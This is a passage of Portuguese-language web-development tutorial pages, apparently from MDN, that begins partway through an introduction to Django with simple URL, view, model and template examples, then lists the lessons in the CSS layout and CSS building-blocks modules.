pode ser (e tem sido) utilizado para construir quase todo tipo de website - desde sistema de gestão de conteúdo e wikis, passando por redes sociais e sites de notícias. Ele pode trabalhar com qualquer framework do lado do cliente, e pode entregar conteúdo em praticamente qualquer formato (incluindo HTML, feeds RSS, JSON, XML, etc). Esse site que você está lendo agora é baseado em Django.\n\nÀ medida em que, internamente, fornece opções para quase todo tipo de funcionalidade que você possa querer (por exemplo: vários banco de dados que são populares, motores de template, etc), ele pode também ser extendido para utilizar outros componentes, caso seja necessário.\n\nSeguro\n\nDjango ajuda os desenvolvedores a evitar os erros de segurança mais comuns, fornecendo um framework que foi desenhado para \"fazer as coisas certas\", de modo a proteger o website automaticamente. Por exemplo, Django fornece uma maneira segura de gerenciar as contas dos usuários e suas senhas, evitando erros comuns, tais como colocar informações da sessão em cookies, onde ficam vulneráveis (ao invés disso os cookies contém apenas uma chave e os dados são armazenados no banco de dados), ou armazenar as senhas de forma direta, ao invés de gravar um hash para essas senhas.\n\n*Um hash de senha é um valor fixed-length (tamanho-fixo) criado mandando a senha por uma cryptographic hash function (função hash criptográfica). Django pode checar se uma senha inserida está correta executando ela pela função hash e comparando a saída com o valor hash armazenado. Porém devido a natureza \"one-way\" (\"um-caminho\") da função, mesmo que o valor hash armazenado estiver comprometido, é difcil para uma pessoa comentendo um ataque resolver a senha original.*\n\nO Django ativa a proteção contra muitas vulnerabilidades por padrão, incluindo SQL injection (injeção de SQL), cross-site scripting, cross-site request forgery (Falsificação de solicitação entre sites), e clickjacking (\"furto de click\") (veja Segurança de sites para mais detalhes de tais ataques).\n\nEscalável\n\nDjango usa uma arquitetura baseada em componentes \"shared-nothing\" (\"nada-compartilhado\") (cada parte da arquitetura é independente das outras, e consequentemente podem ser substituídas ou mudadas caso necessário). Ter uma separação clara entre as partes diferentes significa que pode se escalar para um tráfego aumentado adicionando hardware em qualquer nível: servidores de cache, servidores de banco de dados ou servidores de aplicação. Alguns dos sites mais ocupados escalaram o Django com sucesso para cumprir com as suas demandas (ex: Instagram e Disqus).\n\nSustentável\n\nO código do Django é escrito usando princípios de design e padrões que encorajam a criação de codigo sustentável (que facilita a manutenção) e reusável. Em particular, isso utiliza o principio DRY - Don't Repeat Yourself (Não Repita a Si Mesmo) para que não haja duplicações desnecessárias, reduzindo a quantidade de código. O Django também promove o agrupamento de funcionalidades relacionadas para aplicativos reusáveis e, em um nível mais baixo, grupos de código relacionados para modulos (juntamente as linhas do padrão MVC - Model View Controller).\n\nPortável\n\nDjango é escrito em Python, que executa em muitas plataformas. Isso significa que você não esta preso em nenhuma plataforma de servidor em particular, e pode executar seus aplicativos em muitas distrubuições do Linux, Windows e Mac OS X. Além disso, o Django tem um bom suporte em muitos provedores de servidores de web, que muitas vezes provem infraestrutura especifca e documentação para hospedar sites feitos com Django.\n\nDe onde o Django veio?\n----------------------\n\nDjango foi inicialmente desenvolvido entre 2003 e 2005 por um time de web que era responsável por criar e manter sites de jornal. Depois de criar um número de sites, o time começou a fatorar e reutilizar muitos de seus códigos comuns e padrões de design. Esse código comum evoluiu para um framework genérico de desenvolvimento web, que foi lançado como um projeto de código aberto nomeado \"Django\" em Julho de 2005.\n\nDjango continou a crescer e aprimorar, desde seu lançamento (1.0) em Setembro de 2008 até a versão recentemente lançada 2.0 em 2017. Cada lançamento adicionou novas funcionalidades e consertou falhas, variando entre suportar novos tipos de banco de dados, mecanismos de template e caches, até a adição de funções view \"genéricas\" e classes (que reduzem a quantidade de código que os desenvolvedores tem que escrever para um número de tarefas de programação).\n\n**Nota:** Cheque as notas de lançamento no site do Django para ver o que mudou nas versões mais recentes, e quanto trabalho esta sendo feito para tornar o Django melhor.\n\nDjango é um projeto de código aberto, colaborativo e próspero, com milhares de usuários contribuindo. Embora ainda tenha alguns recursos que refletem sua origem, Django evoluiu para um framework versátil que é capaz de desenvovler qualquer tipo de website.\n\nQuão popular é o Django?\n------------------------\n\nNão há nenhum método disponível e definitivo para medir a popularidade dos framework server-side (lado do servidor) (apesar de sites como Hot Frameworks tentam acessar a popularidade usando mecanismos como contar o numero de projetos no GitHub e perguntas no StackOverflow para cada cada platafroma). Uma questão melhor é se o Django é \"popular o suficiente\" para evitar problemas de plataformas não populares. Ele continua a evoluir? Você consegue ajuda se precisar? Existem oportunidades para você ganhar dinheiro se voce aprender Django?\n\nBaseado no número de sites com alto perfil que usam Django, o número de pessoas contribuindo para a base de código, e o número de pessoas provendo ambos suporte gratuito e pago, então sim, Django é um framework popular!\n\nAlguns sites de alto perfil que usam Django são: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, and Open Stack (fonte: Página inicial do django).\n\nO Django é opinativo?\n---------------------\n\nFrameworks de web frequentemente referem a si mesmos como \"opinativo\" e \"não opinativo\".\n\nFrameworks opinativos são aqueles com opiniões sobre o \"modo correto\" de como lidar com uma tarefa em particular. Eles frequentemente auxiliam no desenvolvimento rapido *em um domínio em particular* (resolvendo problemas de um tipo em particular) porque o modo correto de fazer qualquer coisa normalmente já foi bem compreendido e bem documentado. Porém eles podem ser menos flexíveis para resolver problemas fora de seu principal domínio, e tendem a oferecer menos opções para quais componentes e abordagens eles podem usar.\n\nFrameworks não opinativos, em contraste, possuem bem menos restrições sobre a melhor maneira de unir os componentes para atingir um objetivo, ou até mesmo quais componentes devem ser usados. Eles tornam mais fácil para os desenvolvedores usar as ferramentas mais adequadas para completar uma tarefa em particular, apesar do custo de você mesmo ter que achar esses componentes.\n\nDjango é \"moderadamente opinativo\" e, portantanto, oferece o \"melhor dos dois mundo\". Ele fornece um conjunto de componentes para lidar com a maioria das tarefas de desenvolvimento web, e uma (ou duas) maneiras preferidas de usá-las. No entanto, a arquitetura desacoplada do Django significa que você geralmente pode escolher entre várias opções diferentes, ou adicionar suporte para outras completamente novas, se desejar.\n\nCom o que o código do Django parece?\n------------------------------------\n\nEm um site data-driven (orientado a dados) tradicional, um aplicativo web aguarda solicitações HTTP do navegador da web (ou outro cliente). Quando uma solicitação é recebida, o aplicativo calcula o que é necessário com base na URL e possivelmente nas informações dos dados `POST` ou `GET`. Dependendo do que for necessário, ele poderá ler ou gravar informações de um banco de dados ou executar outras tarefas necessárias para satisfazer a solicitação. O aplicativo retornará uma resposta para o navegador da web, normalmente criando dinamicamente uma página HTML para o navegador exibir, inserindo os dados recuperados em espaços reservados em um template HTML.\n\nAplicativos web feitos com Django geralmente agrupam o código que manipula cada uma dessas etapas em arquivos separados:\n\n![](https://i.postimg.cc/W4yzpVcd/arq.png)\n\n* **URLs:** Embora seja possível processar solicitações de cada URL por meio de uma única função, é muito mais simples fazer a manutenção do código escrevendo uma função view (vista) separada para manipular cada recurso. Um mapeador de URLs é usado para redirecionar solicitações HTTP para a view apropriada com base na URL da solicitação. O mapeador de URLs também pode corresponder padrões específicos de strings (cadeia de caracteres) ou dígitos que aparecem em um URL e transmiti-los a uma função view como dados.\n* **View (Vista):** Uma view é uma função manipuladora de solicitações, que recebe solicitações HTTP e retorna respostas HTTP. As views acessam os dados necessários para satisfazer solicitações por meio dos *models (modelos)* e encarregam a formatação da resposta aos *templates*.\n* **Models (Modelos):** Modelos são objetos em Python que definem a estrutura dos dados de um aplicativo, e fornecem mecanismos para gerenciar (adicionar, modificar e excluir) e consultar registros no banco de dados.\n* **Templates:** Um template é um arquivo de texto que define a estrutura ou o layout de um arquivo (como uma página HTML), com espaços reservados usados para representar o conteúdo real. Uma *view* pode criar dinamicamente uma página HTML usando um template HTML, preenchendo-a com dados de um *model (modelo)*. Um template pode ser usado para definir a estrutura de qualquer tipo de arquivo; não precisa ser HTML!\n\n**Nota:** Django refere a essa organização como uma arquitetura nomeada \"Model View Template (MVT)\" (\"Modelo Vista Template\"). Ela tem muitas semelhanças com a familiar arquitetura Model View Controller (Modelo Vista Controlador).\n\nAs seções abaixo lhe darão uma idéia de como essas partes principais de um aplicativo do Django se parecerão (nos vamos entrar em mais detalhes mais tarde no curso, assim que configurarmos um ambiente de desenvolvimento).\n\n### Enviando a solicitação para a view correta (urls.py)\n\nUm mapeador de URLs normalmente é armazenado em um arquivo chamado **urls.py**. No exemplo abaixo, o mapeador (`urlpatterns`) (*padrões de url*) define uma lista de mapeamentos entre *rotas* (*padrões* específicos de URL) e funções view correspondentes. Se uma solicitação HTTP for recebida com uma URL correspondente a um padrão especificado, a função view associada será chamada e a solicitação/requisição sera transmitida.\n```\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('book/<int:id>/', views.book-detail, name='book-detail'),\n    path('catalog/', include('catalog.urls')),\n    re_path(r'^([0-9]+)/$', views.best),\n]\n\n# favor utilizar o código acima no seu projeto ao invés do que está abaixo\n# urlpatterns = [\n#     path('admin/', admin.site.urls),\n#     path('livro/<int:id>/', views.livro-detalhes, name='livro-detalhes'),\n#     path('catalogo/', include('catalogo.urls')),\n#     re_path(r'^([0-9]+)/$', views.melhor),\n# ]\n```\n\n\nO objeto `urlpatterns` é uma lista de funções `path()` (caminhos) e/ou `re_path()` (listas em Python são definidas usando colchetes, onde os itens são separados por vírgulas e podem conter opcionalmente uma vírgula no final. Por exemplo: **`[item1, item2, item3,]`**).\n\nO primeiro argumento para ambos os métodos é uma rota (padrão) que será correspondida. O método `path()` usa sinais de menor e maior (<, >) para definir partes de uma URL que serão capturadas e passadas para a função view como argumentos nomeados. A função `re_path()` usa uma abordagem de correspondência de padrões flexível, conhecida como expressão regular. Nós vamos falar sobre isso em um artigo posterior!\n\nO segundo argumento é outra função que será chamada quando o padrão for correspondido. A notação `views.book-detail` (`views.livro-detalhes`) indica que a função é chamada de `book-detail()` (`livro-detalhes()`) e pode ser encontrada em um módulo chamado `views` (ou seja, dentro de um arquivo chamado `views.py`)\n\n### Manipulando a solicitação (views.py)\n\nAs view são o coração do aplicativo web, recebendo solicitações HTTP de clientes da web e retornando respostas HTTP. No meio disto, eles preparam os outros recursos do framework para acessar bancos de dados, renderizar (exibir) templates, etc.\n\nO exemplo abaixo mostra uma função view mínima chamada `index()`, que poderia ter sido chamado pelo nosso mapeador de URLs na seção anterior. Como todas as funções *view*, ele recebe um objeto `HttpRequest` como um parâmetro (`request`) e retorna um objeto `HttpResponse`. Nesse caso, não fazemos nada com a solicitação, e nossa resposta simplesmente retorna uma string. Mostraremos uma solicitação que faz algo mais interessante em uma seção posterior.\n\n\n```python\n## filename: views.py (Django view functions)\n\nfrom django.http import HttpResponse\n\ndef index(request):\n    # Get an HttpRequest - the request parameter\n    # perform operations using information from the request.\n    # Return HttpResponse\n    return HttpResponse('Hello from Django!')\n\n# favor utilizar o código acima no seu projeto ao invés do que está abaixo\n## nome do arquivo: views.py (Onde as funções view ficam)\n\nfrom django.http import HttpResponse\n\ndef index(requisito):\n    # Recebe um HttpRequest - o parametro requisito\n    # Executar operações usando informações do requisito (solicitação).\n    # Retornar HttpResponse\n    return HttpResponse('Um oi do Django!')\n```\n\n\n**Nota:** Um pouquinho de Python:\n\n* Módulos do Python são \"bibliotecas\" de funções, armazenadas em arquivos separados, que podemos utilizar em nosso código. Aqui nós importamos apenas o objeto `HttpResponse` do módulo `django.http` para que possamos usá-lo em nossa view: `from django.http import HttpResponse`. Existem outras maneiras de importar alguns ou todos os objetos de um módulo.\n* As funções em Python são declaradas usando a palavra-chave `def` como mostrado acima, com parâmetros nomeados listados entre parênteses após o nome da função; a linha inteira termina em dois pontos. Observe como as próximas linhas são todas **recuadas**. O recuo é importante, pois especifica que as linhas de código estão dentro desse bloco específico (a indentação obrigatória é um recurso chave do Python e é um dos motivos pelos quais o código Python é tão fácil de ler).\n\nViews geralmente são armazenadas em um arquivo chamado **views.py**.\n\n### Definindo o modelo dos dados (models.py)\n\nOs aplicativos web feitos com Django gerenciam e consultam dados por meio de objetos do Python chamados de modelos. Os modelos definem a estrutura dos dados armazenados, incluindo os *tipos* do campo e possivelmente também seu tamanho máximo, valores padrão, opções de lista de seleção, texto de ajuda para documentação, texto de etiqueta (label) para formulários etc. A definição do modelo é independente do banco de dados subjacente — você pode escolher um dentre vários como parte das configurações do seu projeto. Uma vez que você escolheu qual banco de dados você quer usar, você não precisa se comunicar diretamente com ele — você apenas escreve a estrutura dos seus modelos e qualquer outro código, e o Django lida com todo o trabalho de se comunicar com o banco de dados para você.\n\nO trecho de código abaixo mostra um modelo simples do Django para um objeto `Team` (Time). A classe `Team` é derivada da classe do Django `models.Model`. Ela define o nome e o nível da equipe como campos de caractere e especifica um número máximo de caracteres a serem armazenados para cada registro. O `team_level` (time\\_nivel) pode ser um de vários valores, portanto, o definimos como um campo de opção e fornecemos um mapeamento entre as opções a serem exibidas e os dados a serem armazenados, junto com um valor padrão.\n\n\n```python\n## filename: models.py\n\nfrom django.db import models\n\nclass Team(models.Model):\n    team_name = models.CharField(max_length=40)\n\n    TEAM_LEVELS = (\n        ('U09', 'Under 09s'),\n        ('U10', 'Under 10s'),\n        ('U11', 'Under 11s'),\n        ...  #list other team levels\n    )\n\n    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')\n\n# favor utilizar o código acima no seu projeto ao invés do que está abaixo\n## nome do arquivo: models.py\n\nfrom django.db import models\n\nclass Time(models.Model):\n    # models.CharField define um campo de caractere no banco de dados e max\\_length define o tamanho maximo permitido\n    time_nome = models.CharField(max_length=40)\n\n    TIME_NIVEIS = (\n        ('A09', 'Abaixo de 09'),\n        ('A10', 'Abaixo de 10'),\n        ('A11', 'Abaixo de 11'),\n        ... #list other team levels\n    )\n\n    time_nivel = models.CharField(max_length=3,choices=TIME_NIVEIS,default='A11') # choices-opções / default-padrão\n```\n\n\n**Nota:** Um pouquinho de Python:\n\n* O Python suporta \"programação orientada a objetos\", um estilo de programação onde organizamos nosso código em objetos, que incluem dados e funções relacionadas para operar nesses dados. Os objetos também podem herdar/estender/derivar de outros objetos, permitindo que um comportamento comum entre objetos relacionados seja compartilhado. Em Python, usamos a palavra-chave `class` (classe) para definir o \"blueprint\" (modelo/planta/plano) de um objeto. Podemos criar várias *instâncias* específicas do tipo de objeto com base no modelo da classe.\n Por exemplo, aqui temos uma classe `Team` (Time), que deriva da classe `Model`. Isso significa que é um modelo e conterá todos os métodos de um modelo, mas também podemos fornecer recursos especializados próprios. Em nosso modelo, definimos os campos que nosso banco de dados precisará para armazenar nossos dados, dando-lhes nomes específicos. O Django usa essas definições, incluindo os nomes dos campos, para criar o banco de dados subjacente.\n\n### Consultando dados (views.py)\n\nO modelo Django fornece uma query API simples para buscas no banco de dados. Isto pode combinar com um grande número de campos ao mesmo tempo utilizando diversos critérios (ex.: exato, maiúsculas e minúsculas (case-sensitive), maior que, etc.), e pode suportar definições complexas (por exemplo, você pode especificar a busca por times U11 que tem os nomes começando com 'Fr\" ou terminando com \"al\").\n\nO trecho de código mostra uma função da View (manipulador de recursos) para exibir todos os nossos times U09. A linha em negrito mostra como podemos usar a API modelo de consulta para filtrar todos os registros em que o campo `team_level` possui exatamente o texto 'U09' (observe como esse critério é passado para a função `filter()` com o argumento no campo de nome e o tipo de busca de correspondência (**exact**) separado por um sublinhado duplo: **`team_level__exact`**).\n\n\n```python\n## filename: views.py\n\nfrom django.shortcuts import render\nfrom .models import Team\n\ndef index(request):\n    list_teams = Team.objects.filter(team_level__exact=\"U09\")\n    context = {'youngest\\_teams': list_teams}\n    return render(request, '/best/index.html', context)\n\n# favor utilizar o código acima no seu projeto ao invés do código abaixo\n## nome do arquivo: views.py\n\nfrom django.shortcuts import render\nfrom .models import Team\n\ndef index(request):\n    lista_times = Team.objects.filter(team_level__exact=\"U09\")\n    contexto = {'times\\_jovens': lista_times}\n    return render(request, '/best/index.html', contexto)\n```\n\n\nA função `index()` usa a função `render()` para criar o `HttpResponse` que é enviado de volta para o navegador. Essa função é um atalho, ela cria um arquivo HTML combinando um modelo HTML específico com alguns dados (fornecidos pela variável denominada \"`context`\"). Na próxima seção, mostramos como os dados são inseridos no modelo para criar HTML.\n\n### Renderizando dados (Modelos HTML)\n\nO sistema de modelo permite especificar a estrutura de um documento de saída, usando espaços reservados para dados que serão preenchidos quando uma página for gerada. Os modelos geralmente são usados para criar HTML, mas também podem criar outros tipos de documentos. O Django suporta o sistema de modelos nativo e outra biblioteca Python popular chamada Jinja2 pronta para uso (também pode ser feita para suportar outros sistemas, se necessário).\n\nO trecho de código mostra a aparência do modelo HTML chamado pela função `render()` na seção anterior. Este modelo foi escrito sob a premissa de que ele terá acesso a uma variável do tipo lista chamada `youngest_teams` quando for renderizada (contida na variável `context` dentro da função `render()` acima). Dentro do esqueleto HTML, temos um a expressão que primeiro verifica se a variável `youngest_teams` existe e a itera em um loop `for`. Em cada iteração, o modelo exibe o valor `team_name` de cada equipe em um elemento `<li>`.\n\n\n```python\n## filename: best/templates/best/index.html\n\n<!DOCTYPE html>\n<html lang=\"en\">\n<body>\n\n {% if youngest_teams %}\n    <ul>\n    {% for team in youngest_teams %}\n        <li>{{ team.team_name }}</li>\n    {% endfor %}\n    </ul>\n{% else %}\n    <p>No teams are available.</p>\n{% endif %}\n\n</body>\n</html>\n\n#favor utilizar o código acima no seu projeto ao invés do código abaixo\n## nome do arquivo: best/templates/best/index.html\n\n<!DOCTYPE html>\n<html lang=\"pt\">\n<body>\n\n {% if youngest_teams %}\n    <ul>\n     {% for team in youngest_teams %}\n         <li>{{ team.team_name }}</li>\n     {% endfor %}     </ul> {% else %}\n     <p>Nenhum time disponível.</p>\n {% endif %}\n </body>\n </html>\n```\n\nO que mais você pode fazer?\n---------------------------\n\nAs seções anteriores mostram os principais recursos que você usará na maioria dos aplicativos Web: mapeamento de URL, views, moldes e modelos. O Django também fornece outras coisas, como:\n\n* **Formulários (Forms)**: Os formulários HTML são usados para coletar dados do usuário para processamento no servidor. Django simplifica a criação, validação e processamento de formulários.\n* **Autenticação de usuário e permissões**: Django inclui um sistema robusto de autenticção e permissão de usuário, construído com a segurança em mente.\n* **Caching**: Criar conteúdo dinamicamente é muito mais pesado (e lento) computacionalmente do que exibir conteúdo estático. O Django fornece armazenamento em cache flexível para que você possa armazenar toda ou parte de uma página pronta para que ela não seja renderizada novamente, exceto quando necessário.\n* **Site de administração**: O site de administração do Django é incluído por padrão quando você cria um aplicativo usando o esqueleto básico. Ele facilita o fornecimento de uma página de administração para os administradores do site criarem, editarem e exibirem quaisquer modelos de dados em seu site\n* **Serializando dados**: O Django facilita a serialização e a veiculação de dados como XML ou JSON. Isso pode ser útil ap criar um serviço Web (um site que serve apenas para que dados sejam consumidos por outros aplicativos ou sites e não exibe nada por si só), ou ao criar um site no qual o código do lado do cliente lida com todas as renderizações.\nResumo\n------\n\nParabéns, você completou o primeiro passo em sua jornada no Django! Agora você deve entender os principais benefícios do Django, um pouco sobre sua história e aproximadamente como podem ser as partes principais de um aplicativo Django. Você também deve ter aprendido algumas coisas sobre a linguagem de programação Python, incluindo a sintaxe para listas, funções e classes.\n\nVocê já viu algum código real do Django acima, mas, diferentemente do código do lado do cliente, você precisa configurar um ambiente de desenvolvimento para executá-lo. Esse é o nosso próximo passo.\n\n* Menu: Django\n* Próxima"}
{"title":"CSS layout - Aprendendo desenvolvimento web","text":"CSS layout\n==========\n\nNeste ponto, vimos os fundamentos do CSS, como estilizar o texto e como estilizar e manipular as caixas dentro das quais seu conteúdo se encontra. Agora é hora de ver como organizar corretamente suas caixas em relação à viewport, bem como umas às outras. Cobrimos os pré-requisitos necessários, então vamos nos aprofundar no layout CSS, examinando vários recursos como: diferentes configurações de exibição, posicionamento, ferramentas de layout modernas como flexbox e grade CSS e algumas das técnicas herdadas que você ainda pode querer saber. cerca de.\n\n> \n> **Callout:**\n> \n> \n> #### Quer se tornar um desenvolvedor web front-end?\n> \n> \n> \n>  Reunimos um curso que inclui todas as informações essenciais que você precisa para\n>  trabalhe em direção ao seu objetivo.\n>  \n> \n> \n> **Primeiros passos**\n> \n> \n> \n\nPré-requisitos\n--------------\n\nAntes de iniciar este módulo, você já deve:\n\n1. Ter familiaridade básica com HTML, conforme discutido no módulo Introdução ao HTML.\n2. Esteja familiarizado com os fundamentos do CSS, conforme discutido em Introdução ao CSS.\n3. Entenda como estilizar caixas.\n\n**Nota:** Se você estiver trabalhando em um computador/tablet/outro dispositivo em que não tenha a capacidade de criar seus próprios arquivos, experimente (a maioria) os exemplos de código em um programa de codificação on-line, como como JSBin ou Glitch.\n\nGuias\n-----\n\nEsses artigos fornecerão instruções sobre as ferramentas e técnicas de layout fundamentais disponíveis em CSS. No final das lições, há uma avaliação para ajudá-lo a verificar sua compreensão dos métodos de layout ao criar uma página da web.\n\nIntrodução ao layout CSS\n\nEste artigo irá recapitular alguns dos recursos de layout CSS que já abordamos em módulos anteriores — como valores `display` diferentes — e apresentar alguns dos conceitos que abordaremos ao longo deste módulo.\n\nFluxo normal\n\nOs elementos nas páginas da Web se apresentam de acordo com o *fluxo normal* - até que façamos algo para mudar isso. Este artigo explica os fundamentos do fluxo normal como base para aprender como alterá-lo.\n\nFlexbox\n\nFlexbox (en-US) é um método de layout unidimensional para dispor itens em linhas ou colunas. Os itens se flexionam para preencher espaço adicional e encolhem para caber em espaços menores. Este artigo explica todos os fundamentos. Depois de estudar este guia, você pode testar suas habilidades em flexbox (en-US) para verificar sua compreensão antes de prosseguir.\n\nGrids (en-US)\n\nCSS Grid Layout é um sistema de layout bidimensional para a web. Ele permite que você organize o conteúdo em linhas e colunas e tem muitos recursos que facilitam a criação de layouts complexos. Este artigo fornecerá tudo o que você precisa saber para começar com o layout de página e testar suas habilidades de grade (en-US) antes de prosseguir.\n\nFloats (en-US)\n\nOriginalmente para imagens flutuantes dentro de blocos de texto, a propriedade `float` tornou-se uma das ferramentas mais usadas para criar layouts de múltiplas colunas em páginas da web. Com o advento do Flexbox e do Grid, ele voltou ao seu propósito original, como explica este artigo.\n\nPosicionamento (en-US)\n\nO posicionamento permite retirar elementos do fluxo normal do layout do documento e fazer com que se comportem de maneira diferente, por exemplo, posicionando-se uns sobre os outros ou permanecendo sempre no mesmo lugar dentro da janela de visualização do navegador. Este artigo explica os diferentes valores `position` e como usá-los.\n\nLayout de várias colunas\n\nA especificação de layout de várias colunas fornece um método de disposição de conteúdo em colunas, como você pode ver em um jornal. Este artigo explica como usar esse recurso.\n\nDesign responsivo\n\nÀ medida que tamanhos de tela mais diversos apareceram em dispositivos habilitados para a Web, surgiu o conceito de web design responsivo (RWD): um conjunto de práticas que permite que as páginas da Web alterem seu layout e aparência para se adequar a diferentes larguras de tela, resoluções etc. É uma ideia que mudou a forma como projetamos para uma web multidispositivo, e neste artigo vamos te ajudar a entender as principais técnicas que você precisa saber para dominá-la.\n\nGuia do iniciante para consultas de mídia (en-US)\n\nA **CSS Media Query** oferece uma maneira de aplicar CSS somente quando o navegador e o ambiente do dispositivo correspondem a uma regra que você especifica, por exemplo, \"a janela de visualização é maior que 480 pixels\". Consultas de mídia são uma parte fundamental do web design responsivo porque permitem criar diferentes layouts dependendo do tamanho da viewport. Eles também podem ser usados para detectar outros recursos do ambiente em que seu site está sendo executado, por exemplo, se o usuário está usando uma tela sensível ao toque em vez de um mouse. Nesta lição, você aprenderá primeiro sobre a sintaxe usada em consultas de mídia e, em seguida, as usará em um exemplo interativo que mostra como um design simples pode se tornar responsivo.\n\nMétodos de layout legados (en-US)\n\nOs sistemas de grade são um recurso muito comum usado em layouts CSS. Antes do **CSS Grid Layout**, eles tendiam a ser implementados usando flutuadores ou outros recursos de layout. Você primeiro imaginaria seu layout como um número definido de colunas (por exemplo, 4, 6 ou 12) e, em seguida, ajustaria suas colunas de conteúdo dentro dessas colunas imaginárias. Neste artigo, exploraremos como esses métodos antigos funcionam para que você entenda como eles eram usados se você trabalhasse em um projeto antigo.\n\nSuporte a navegadores mais antigos (en-US)\n\nNeste módulo, recomendamos o uso de Flexbox e Grid como os principais métodos de layout para seus projetos. No entanto, é provável que haja visitantes de um site que você desenvolver no futuro que usem navegadores mais antigos ou navegadores que não suportam os métodos que você usou. Esse sempre será o caso na web — à medida que novos recursos são desenvolvidos, diferentes navegadores priorizarão diferentes recursos. Este artigo explica como usar técnicas modernas da Web sem excluir usuários de tecnologia mais antiga.\n\nAvaliações\n----------\n\nA avaliação a seguir testará sua compreensão dos métodos de layout CSS abordados nos guias acima.\n\nCompreensão fundamental do layout (en-US)\n\nUma avaliação para testar seus conhecimentos sobre diferentes métodos de layout ao criar uma página da web.\n\nVeja também\n-----------\n\nExemplos de posicionamento prático (en-US)\n\nEste artigo mostra como construir alguns exemplos do mundo real para ilustrar que tipos de coisas você pode fazer com o posicionamento.\n\nlivro de receitas de layout CSS\n\nO livro de receitas de layout CSS visa reunir receitas para padrões de layout comuns, coisas que você pode precisar implementar em seus sites. Além de fornecer o código que você pode usar como ponto de partida em seus projetos, essas receitas destacam as diferentes maneiras pelas quais as especificações de layout podem ser usadas e as escolhas que você pode fazer como desenvolvedor.k"}
{"title":"Construindo blocos CSS - Aprendendo desenvolvimento web","text":"Construindo blocos CSS\n======================\n\nEste módulo continua onde Primeiros passos em CSS parou — agora que você já ganhou familiaridade com a linguagem e sua sintaxe, e já tem alguma experiência básica usando-a, é hora de mergulhar um pouco mais fundo. Este módulo analisa a conceitos de cascata e herança , todos os tipos de seletores que temos disponíveis, unidades, dimensionamentos, estilos de fundo e bordas, depuração, e muito mais.\n\nO objetivo aqui é lhe prover com um conjunto de ferramentas para construir um código CSS competente e ajuda-lo a entender toda a teoria essencial, antes de passarmos para tópicos mais específicos como Estilização de texto e Modelo CSS.\n\nPré-requisitos\n--------------\n\nAntes de iniciar este módulo, você deve ter:\n\n1. Familiaridade básica com uso de computadores, e usar a Web passivamente (por exemplo. apenas olhar, consumindo o conteúdo.)\n2. Um ambiente de trabalho básico configurado conforme detalhado em Instalando software básico, e um entendimento de como criar e gerenciar arquivos, como detalhado em Lidando com arquivos.\n3. Familiaridade básica com HTML, como foi discutido no módulo Introdução ao HTML.\n4. Um entendimento do básico em CSS, como o mostrado no módulo Primeiros Passos com CSS.\n\n**Nota:** Se você estiver usando um computador/tablet/outro dispositivo onde você não puder criar seus próprios arquivos, você pode tentar rodar (a maioria) os códigos de exemplo em um programa de codificação online como o JSBin ou Glitch.\n\nGuias\n-----\n\nEste módulo contém os seguintes artigos, que cobrem a maioria das partes essenciais da linguagem CSS. Ao longo do caminho você encontrará vários exercícios para testar seu entendimento.\n\nCascata e Herança\n\nO objetivo desta lição é desenvolver seu entendimento de alguns dos conceitos mais fundamentais do CSS — a cascata, especificidade e herança — que controlam como o CSS será aplicado ao HTML e como conflitos são resolvidos.\n\nSeletores CSS\n\nHá uma ampla variedade de seletores CSS disponíveis, permitindo uma fina precisão ao selecionar elementos para estilizar. Neste artigo e em seus sub-artigos, examinaremos os diferentes tipos em detalhes, vendo como eles funcionam. Os sub-artigos são os seguintes:\n\n* Tipo, classe e seletores de ID\n* Seletores de atributo\n* Pseudo-classes e pseudo-elementos (en-US)\n* Combinadores (en-US)\n\nO modelo de caixa (Ou Box Model)\n\nTudo em CSS está dentro de caixas, e entender essas caixas é a chave para estar apto a criar layouts (modelos) em CSS, ou alinhar itens com outros itens. Nesta lição,trataremos mais propriamente sobre Modelo de Caixa CSS, afim de que você possa passar para tarefas de Layout mais complexas com um entendimento de como isto funciona e a terminologia relacionada a este modelo.\n\nPlanos de fundo e bordas (en-US)\n\nNesta lição, examinaremos algumas das coisas criativas que você pode fazer com os planos de fundo e as bordas do CSS. Desde a criação de gradientes, imagens de plano de fundo e cantos arredondados, planos de fundo e bordas são a resposta para muitas questões de estilo em CSS.\n\nManipulando diferentes direções de texto (en-US)\n\nNos últimos anos, o CSS evoluiu para oferecer melhor suporte a diferentes direções de conteúdo, incluindo o conteúdo da direita para a esquerda, mas também de cima para baixo (como o japonês) - essas diferentes direções são chamadas de modos de escrita. À medida que você progride em seu estudo e começa a trabalhar com o layout, o entendimento dos **modos de escrita** será muito útil para você; portanto, os apresentaremos neste artigo..\n\nTransbordando conteúdo (en-US)\n\nNesta lição, examinaremos outro conceito importante em CSS - overflow, efeito de transbordar. O overflow é o que acontece quando há muito conteúdo para ser contido adequadamente dentro de uma \"caixa\". Neste guia, você aprenderá o que é e como gerenciá-lo.\n\nValores CSS e unidades (en-US)\n\nCada propriedade usada em CSS tem um valor ou um conjunto de valores que são permitidos para uma dada propriedade, veremos alguns dos valores e unidades mais comuns em uso.\n\nDimensionando itens em CSS (en-US)\n\nNas várias lições até agora, você encontrou várias maneiras de dimensionar itens em uma página da Web usando CSS. É importante entender o tamanho dos diferentes recursos do seu design e, nesta lição, resumiremos as várias maneiras pelas quais os elementos obtêm um tamanho via CSS e definiremos alguns termos de dimensionamento que ajudarão você no futuro.\n\nImagens, mídia, e elementos de formulário (en-US)\n\nNesta lição, veremos como certos elementos especiais são tratados no CSS. Imagens, outras mídias e elementos de formulário se comportam de maneira um pouco diferente em termos de sua capacidade de estilizá-los com CSS do que as caixas regulares. Compreender o que é e o que não é possível pode poupa-lo de algumas frustrações, e esta lição destacará algumas das principais coisas que você precisa saber.\n\nEstilizando Tabelas (en-US)\n\nEstilizar uma tabela HTML não é o trabalho mais fascinante do mundo, mas às vezes todos nós precisamos fazê-lo. Este artigo fornece um guia para melhorar a aparência das tabelas HTML, com algumas técnicas específicas de estilo de tabela destacadas.\n\nDepurando CSS (en-US)\n\nÀs vezes, ao escrever CSS, você encontrará um problema em que seu CSS parece não estar fazendo o que você espera. Este artigo fornecerá orientações sobre como depurar um problema de CSS e mostrará como os DevTools (ferramentas de desenvolvedor) incluídos em todos os navegadores modernos podem ajudá-lo a descobrir o que está acontecendo.\n\nOrganizando seu CSS (en-US)\n\nAo começar a trabalhar com folhas de estilo e em projetos maiores, você descobrirá que manter um grande arquivo CSS pode ser desafiador. Neste artigo, examinaremos brevemente 